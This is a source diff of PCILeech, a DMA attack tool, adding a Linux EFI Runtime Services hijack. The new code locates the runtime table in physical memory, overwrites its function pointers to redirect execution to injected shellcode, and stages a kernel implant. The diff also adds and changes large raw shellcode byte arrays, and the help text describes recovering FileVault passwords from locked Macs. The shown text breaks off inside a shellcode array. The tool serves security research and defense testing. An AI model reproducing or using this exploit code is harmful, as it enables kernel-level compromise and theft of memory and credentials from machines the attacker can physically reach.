diff --git a/pcileech/extra.c b/pcileech/extra.c
index d9e337c..96a3bf9 100644
--- a/pcileech/extra.c
+++ b/pcileech/extra.c
@@ -1,6 +1,6 @@
// extra.c : implementation related various extra functionality such as exploits.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "extra.h"
@@ -128,3 +128,15 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData
LocalFree(pbBuffer512M);
if(hFile) { CloseHandle(hFile); }
}
+
+VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
+{
+ BOOL result;
+ QWORD qwVA, qwPTE;
+ result = Util_PageTable_FindMappedAddress(pCfg, pDeviceData, pCfg->qwCR3, pCfg->qwDataIn[0], &qwVA, &qwPTE);
+ if(result) {
+ printf("PT_PHYS2VIRT: PA: 0x%016llx :: VA: 0x%016llx :: PTE: 0x%016llx.\n", pCfg->qwDataIn[0], qwVA, qwPTE);
+ } else {
+ printf("PT_PHYS2VIRT: Failed.\n");
+ }
+}
\ No newline at end of file
diff --git a/pcileech/extra.h b/pcileech/extra.h
index d844658..46cb9aa 100644
--- a/pcileech/extra.h
+++ b/pcileech/extra.h
@@ -15,4 +15,11 @@
*/
VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
+/*
+* Search for the virtual address that maps to a physical address given a page table base.
+* -- pCfg
+* -- pDeviceData
+*/
+VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
+
#endif /* __EXTRA_H__ */
diff --git a/pcileech/help.c b/pcileech/help.c
index 5dceb1b..c188a2e 100644
--- a/pcileech/help.c
+++ b/pcileech/help.c
@@ -1,6 +1,6 @@
// help.c : implementation related to displaying help texts.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "help.h"
@@ -48,6 +48,7 @@ VOID Help_ShowGeneral()
" 8051stop DMA,KMD \n" \
" flash DMA,KMD [ in ] \n" \
" pagedisplay DMA,KMD [ min ] \n" \
+ " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \
" testmemread DMA [ min ] \n" \
" testmemreadwrite DMA [ min ] \n" \
" System specific commands and valid MODEs [ and options ]: \n" \
@@ -102,8 +103,9 @@ VOID Help_ShowGeneral()
" -kmd : address of already loaded kernel module helper (KMD). \n" \
" ALTERNATIVELY \n" \
" kernel module to use, see list below for choices: \n" \
- " WIN10_X64 (WARNING! Unstable/Experimental) \n" \
- " LINUX_X64 \n" \
+ " WIN10_X64 (WARNING! Unstable/Experimental) \n" \
+ " LINUX_X64 (NB! Kernels below 4.8 only) \n" \
+ " LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \
" FREEBSD_X64 \n" \
" MACOS \n" \
);
@@ -122,7 +124,7 @@ VOID Help_ShowInfo()
printf(
" PCILEECH INFORMATION \n" \
" PCILeech (c) 2016 Ulf Frisk \n" \
- " Version: 1.3 \n" \
+ " Version: 1.4 \n" \
" License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \
" Contact information: pcileech@frizk.net \n" \
" System requirements: 64-bit Windows 7, 10 or later. \n" \
@@ -338,7 +340,7 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
break;
case MAC_FVRECOVER:
printf(
- " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. (CVE-2016-XXXXX) \n" \
+ " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. \n" \
" MODES : DMA \n" \
" OPTIONS : \n" \
" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. You\n" \
@@ -354,6 +356,20 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
" 1) recover the filevault 2 disk encryption password. \n" \
" pcileech.exe mac_fvrecover \n");
break;
+ case PT_PHYS2VIRT:
+ printf(
+ " SEARCH FOR VIRTUAL ADDRESS MAPPED TO GIVEN PHYSICAL ADDRESS. \n" \
+ " MODES : DMA, KMD \n" \
+ " OPTIONS : -cr3, -0 \n" \
+ " Walk the page table of which base is specified on the 'cr3' option to find the\n" \
+ " first occurrence of a virtual address mapped to the physical address specified\n" \
+ " in the '0' option. If an entry is found the virtual address and the PTE will \n" \
+ " be displayed. Only the first occurrence will be displayed. \n" \
+ " EXAMPLEs: \n" \
+ " 1) search for virtual address mapped to physical 0xfed90000 given a page table\n" \
+ " (PML4) base at: 0x1aa000. \n" \
+ " pcileech.exe pt_phys2virt -cr3 0x1aa000 -0 0xfed90000 \n");
+ break;
case EXEC:
_HelpShowExecCommand(pCfg);
break;
@@ -362,4 +378,4 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
" Detailed help for this command or implant is not available. \n");
break;
}
-}
\ No newline at end of file
+}
diff --git a/pcileech/kmd.c b/pcileech/kmd.c
index e6b5489..22b1c2a 100644
--- a/pcileech/kmd.c
+++ b/pcileech/kmd.c
@@ -1,6 +1,6 @@
// kmd.c : implementation related to operating systems kernel modules functionality.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "kmd.h"
@@ -115,6 +115,49 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In
return E_FAIL;
}
+// EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information).
+#define IS_SIGNATURE_EFI_RUNTIME_SERVICES(pb) ((*(PQWORD)(pb) == 0x56524553544e5552) && (*(PDWORD)(pb + 12) == 0x88) && (*(PDWORD)(pb + 20) == 0))
+
+BOOL KMD_FindSignature_EfiRuntimeServices(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD pqwAddrPhys)
+{
+ BOOL result = FALSE;
+ QWORD o, qwCurrentAddress;
+ PAGE_STATISTICS pageStat;
+ PBYTE pbBuffer16M;
+ if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) {
+ return FALSE;
+ }
+ pCfg->qwAddrMin &= ~0xfff;
+ pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff;
+ if(pCfg->qwAddrMax == 0) {
+ pCfg->qwAddrMax = 0x100000000;
+ }
+ qwCurrentAddress = pCfg->qwAddrMin;
+ PageStatInitialize(&pageStat, pCfg->qwAddrMin, pCfg->qwAddrMax, "Searching for EFI Runtime Services", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose);
+ while(qwCurrentAddress < pCfg->qwAddrMax) {
+ result = Util_Read16M(pCfg, pDeviceData, pbBuffer16M, qwCurrentAddress, &pageStat);
+ if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) {
+ goto cleanup;
+ }
+ for(o = 0x18; o < 0x01000000 - 0x88; o += 8) {
+ // EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information).
+ // 0x30646870 == phd0 EFI memory artifact required to rule out additional false positives.
+ if((*(PDWORD)(pbBuffer16M + o - 0x18) == 0x30646870) && IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbBuffer16M + o)) {
+ pageStat.szAction = "Waiting for EFI Runtime Services";
+ *pqwAddrPhys = qwCurrentAddress + o;
+ result = TRUE;
+ goto cleanup;
+ }
+ }
+ // add to address
+ qwCurrentAddress += 0x01000000;
+ }
+cleanup:
+ LocalFree(pbBuffer16M);
+ PageStatClose(&pageStat);
+ return result;
+}
+
//-------------------------------------------------------------------------------
// macOS generic kernel seek below.
//-------------------------------------------------------------------------------
@@ -232,7 +275,7 @@ error:
}
//-------------------------------------------------------------------------------
-// LINUX generic kernel seek below.
+// LINUX generic kernel seek below. (pre 4.8 kernel versions).
//-------------------------------------------------------------------------------
BOOL KMD_LinuxIsAllAddrFoundSeek(_In_ PKERNELSEEKER pS, _In_ DWORD cS)
@@ -325,7 +368,7 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) &&
KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2);
if(result) {
- Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature);
+ Util_CreateSignatureLinuxGenericPre48(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature);
break;
}
}
@@ -333,6 +376,90 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
return result;
}
+//-------------------------------------------------------------------------------
+// LINUX EFI Runtime Services hijack.
+//-------------------------------------------------------------------------------
+
+BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
+{
+ BOOL result;
+ QWORD i, o, qwAddrEfiRt;
+ DWORD dwPhysAddrS2, dwPhysAddrS3, *pdwPhysicalAddress;
+ BYTE pb[0x1000], pbOrig[0x1000], pbEfiRt[0x1000];
+ SIGNATURE oSignature;
+ //------------------------------------------------
+ // 1: Locate and fetch EFI Runtime Services table.
+ //------------------------------------------------
+ result = KMD_FindSignature_EfiRuntimeServices(pCfg, pDeviceData, &qwAddrEfiRt);
+ if(!result) {
+ printf("KMD: Failed. EFI Runtime Services not found.\n");
+ }
+ if((qwAddrEfiRt & 0xfff) + 0x88 > 0x1000) {
+ printf("KMD: Failed. EFI Runtime Services table located on page boundary.\n");
+ return FALSE;
+ }
+ result = DeviceReadDMA(pDeviceData, qwAddrEfiRt & ~0xfff, pbEfiRt, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
+ if(!result || !IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbEfiRt + (qwAddrEfiRt & 0xfff))) {
+ printf("KMD: Failed. Error reading EFI Runtime Services table.\n");
+ return FALSE;
+ }
+ //------------------------------------------------
+ // 2: Fetch signature and original data.
+ //------------------------------------------------
+ Util_CreateSignatureLinuxEfiRuntimeServices(&oSignature);
+ *(PQWORD)(oSignature.chunk[3].pb + 0x28) = qwAddrEfiRt; // 0x28 == offset data_addr_runtserv.
+ memcpy(oSignature.chunk[3].pb + 0x30, pbEfiRt + (qwAddrEfiRt & 0xfff) + 0x18, 0x70); // 0x30 == offset data_runtserv_table_fn.
+ result = DeviceReadDMA(pDeviceData, 0, pbOrig, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
+ if(!result) {
+ printf("KMD: Failed. Error reading at address 0x0.\n");
+ return FALSE;
+ }
+ //------------------------------------------------
+ // 3: Patch wait to reveive execution of EFI code.
+ //------------------------------------------------
+ DeviceWriteDMA(pDeviceData, 0, oSignature.chunk[3].pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
+ for(i = 0; i < 14; i++) {
+ o = (qwAddrEfiRt & 0xfff) + 0x18 + 8 * i; // 14 tbl entries of 64-bit/8-byte size.
+ *(PQWORD)(pbEfiRt + o) = 0x100 + 2 * i; // each PUSH in receiving slide is 2 bytes, offset to code = 0x100.
+ }
+ DeviceWriteDMA(pDeviceData, qwAddrEfiRt, pbEfiRt + (qwAddrEfiRt & 0xfff), 0x88 /* 0x18 hdr, 0x70 fntbl */, PCILEECH_MEM_FLAG_RETRYONFAIL);
+ memset(pb, 0, 0x1000);
+ pdwPhysicalAddress = (PDWORD)(pb + 0x20); // 0x20 == offset data_phys_addr_alloc.
+ printf(
+ "KMD: EFI Runtime Services table hijacked - Waiting to receive execution.\n"
+ " To trigger EFI execution take action. Example: 'switch user' in the\n"
+ " Ubuntu graphical lock screen may trigger EFI Runtime Services call.\n");
+ do {
+ Sleep(100);
+ if(!DeviceReadDMA(pDeviceData, 0, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
+ Util_WaitForPowerCycle(pCfg, pDeviceData);
+ printf("KMD: Resume waiting to receive execution.\n");
+ }
+ } while(!*pdwPhysicalAddress);
+ dwPhysAddrS2 = *pdwPhysicalAddress;
+ printf("KMD: Execution received - waiting for kernel hook to activate ...\n");
+ //------------------------------------------------
+ // 4: Restore EFI Runtime Services shellcode and move on to 2nd buffer.
+ //------------------------------------------------
+ DeviceWriteDMA(pDeviceData, 0, pbOrig, 0x1000, 0);
+ memset(pb, 0, 0x1000);
+ printf("KMD: Waiting to receive execution.\n");
+ do {
+ Sleep(100);
+ if(!DeviceReadDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
+ printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
+ return FALSE;
+ }
+ } while(!*pdwPhysicalAddress);
+ dwPhysAddrS3 = *pdwPhysicalAddress;
+ //------------------------------------------------
+ // 5: Clear 2nd buffer and set up stage #3.
+ //------------------------------------------------
+ memset(pb, 0, 0x1000);
+ DeviceWriteDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, 0);
+ return KMD_SetupStage3(pCfg, pDeviceData, dwPhysAddrS3, oSignature.chunk[4].pb, 4096);
+}
+
//-------------------------------------------------------------------------------
// Windows 8/10 generic kernel implant below.
//-------------------------------------------------------------------------------
@@ -890,6 +1017,8 @@ BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
return KMDOpen_PageTableHijack(pCfg, pDeviceData);
} else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) {
return KMDOpen_HalHeapHijack(pCfg, pDeviceData);
+ } else if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64_EFI")) {
+ return KMDOpen_LinuxEfiRuntimeServicesHijack(pCfg, pDeviceData);
} else {
return KMDOpen_MemoryScan(pCfg, pDeviceData);
}
diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c
index 7226f46..221b5d1 100644
--- a/pcileech/pcileech.c
+++ b/pcileech/pcileech.c
@@ -1,6 +1,6 @@
// pcileech.c : implementation of core pcileech functionality.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "pcileech.h"
@@ -35,6 +35,7 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
{.tp = TESTMEMREAD,.sz = "testmemread" },
{.tp = TESTMEMREADWRITE,.sz = "testmemreadwrite" },
{.tp = MAC_FVRECOVER,.sz = "mac_fvrecover" },
+ {.tp = PT_PHYS2VIRT,.sz = "pt_phys2virt" },
};
QWORD qw;
DWORD j, i = 1;
@@ -133,8 +134,8 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
pCfg->qwAddrMin = pCfg->qwAddrMax;
pCfg->qwAddrMax = qw;
}
- pCfg->qwCR3 &= 0xfffff000;
- pCfg->qwKMD &= 0xfffff000;
+ pCfg->qwCR3 &= ~0xfff;
+ pCfg->qwKMD &= ~0xfff;
return S_OK;
}
@@ -202,6 +203,8 @@ int main(_In_ int argc, _In_ char* argv[])
ActionMemoryTestReadWrite(pCfg, &device);
} else if(pCfg->tpAction == MAC_FVRECOVER) {
Action_MacFilevaultRecover(pCfg, &device);
+ } else if(pCfg->tpAction == PT_PHYS2VIRT) {
+ Action_PT_Phys2Virt(pCfg, &device);
} else if(pCfg->tpAction == KMDLOAD) {
if(pCfg->qwKMD) {
printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)pCfg->qwKMD);
diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h
index 667da92..3b9b1ec 100644
--- a/pcileech/pcileech.h
+++ b/pcileech/pcileech.h
@@ -1,6 +1,6 @@
// pcileech.h : definitions for pcileech - dump memory and unlock computers with a USB3380 device using DMA.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __PCILEECH_H__
@@ -76,7 +76,8 @@ typedef enum tdActionType {
KMDLOAD,
KMDEXIT,
EXEC,
- MAC_FVRECOVER
+ MAC_FVRECOVER,
+ PT_PHYS2VIRT
} ACTION_TYPE, PACTION_TYPE;
#define CONFIG_MAX_INSIZE 0x400000 // 4MB
diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h
index 144c427..e584640 100644
--- a/pcileech/shellcode.h
+++ b/pcileech/shellcode.h
@@ -1,6 +1,6 @@
// shellcode.h : default shellcode used by pcileech in default scenarios.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __SHELLCODE_H__
@@ -212,7 +212,7 @@ const BYTE LINUX_X64_STAGE2_BIN[] = {
0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22, 0xc0, 0x41, 0x59, 0x41,
0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x9b, 0x01, 0x00,
0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xdc, 0x00, 0x00,
- 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01,
+ 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02,
0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x00,
0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0xfc, 0x00, 0x00, 0x00, 0x4c, 0x8b,
0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0,
@@ -261,7 +261,7 @@ const BYTE LINUX_X64_STAGE3_BIN[] = {
0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48,
0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff,
0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec,
- 0x20, 0xe8, 0xfe, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3,
+ 0x20, 0xe8, 0x36, 0x03, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3,
0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2,
0x49, 0xc7, 0xc5, 0x50, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff,
0xff, 0xff, 0x50, 0x48, 0x8d, 0x05, 0x6f, 0x00, 0x00, 0x00, 0x50, 0x48,
@@ -304,71 +304,220 @@ const BYTE LINUX_X64_STAGE3_BIN[] = {
0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b,
0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3,
0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc,
+ 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48,
+ 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b,
+ 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d,
+ 0x42, 0xf6, 0xe8, 0xfb, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30,
+ 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x8b, 0xc8, 0xe8, 0x54, 0xff, 0xff,
+ 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x83,
+ 0xff, 0x10, 0x72, 0xca, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c,
+ 0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8,
+ 0x75, 0x16, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00,
+ 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9, 0xae, 0x00, 0x00, 0x00,
+ 0x48, 0x85, 0xff, 0x75, 0x0c, 0x48, 0x85, 0xc9, 0x75, 0x07, 0x33, 0xc0,
+ 0xe9, 0x9d, 0x00, 0x00, 0x00, 0x85, 0xf6, 0x75, 0x29, 0x33, 0xff, 0x48,
+ 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b,
+ 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x7b,
+ 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb,
+ 0xeb, 0xcc, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x40, 0xff, 0xff, 0xff,
+ 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74,
+ 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74,
+ 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00,
+ 0x00, 0x00, 0xe8, 0x3b, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83,
+ 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d, 0x48, 0x8b, 0x54,
+ 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03,
+ 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x11, 0xfe, 0xff,
+ 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00,
+ 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48,
+ 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50,
0x4c, 0x8d, 0xb1, 0x00, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x02,
0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11,
0xff, 0x48, 0x8b, 0xd9, 0x48, 0x89, 0x01, 0x49, 0x8b, 0xd6, 0x48, 0x8b,
- 0x49, 0x10, 0xe8, 0xc5, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e,
- 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x99, 0x02,
- 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00,
- 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xbb, 0xfe, 0xff, 0xff, 0x48,
- 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0,
- 0xeb, 0xd3, 0x48, 0x8b, 0xcd, 0xe8, 0x0f, 0xff, 0xff, 0xff, 0x48, 0x8b,
- 0x4b, 0x10, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x20, 0xe8, 0xe8, 0xfe,
- 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x00,
- 0x04, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x28, 0x48, 0xc7,
- 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0xe8, 0x73, 0xfe, 0xff, 0xff, 0x48,
- 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8,
- 0x62, 0xfe, 0xff, 0xff, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b,
- 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x4c, 0xfe,
- 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0,
- 0x75, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54,
- 0x24, 0x40, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30,
- 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49,
- 0x8b, 0x0e, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x12, 0xfe, 0xff, 0xff,
- 0xeb, 0xb4, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83,
- 0xf8, 0x03, 0x0f, 0x84, 0x8f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04,
- 0x75, 0x43, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9,
- 0x74, 0x2d, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x64, 0xfe,
- 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83,
- 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0xcd, 0xfd, 0xff, 0xff, 0x33, 0xc9, 0x48,
- 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48,
- 0x83, 0x63, 0x38, 0x00, 0xe8, 0x8a, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xbb,
- 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02,
- 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00,
- 0xff, 0x53, 0x28, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f,
- 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00,
- 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x1f, 0xfe, 0xff,
- 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38,
- 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48,
- 0x89, 0x44, 0x24, 0x20, 0xe8, 0x55, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0,
- 0x49, 0x3b, 0xc4, 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0,
- 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x8f, 0xfd, 0xff, 0xff, 0xeb,
- 0x10, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00,
- 0xe8, 0x29, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74,
- 0x43, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00,
- 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53,
- 0x28, 0x4c, 0x8b, 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b,
- 0xd7, 0xe8, 0xf8, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48,
- 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xe4, 0xfc,
- 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38,
- 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c,
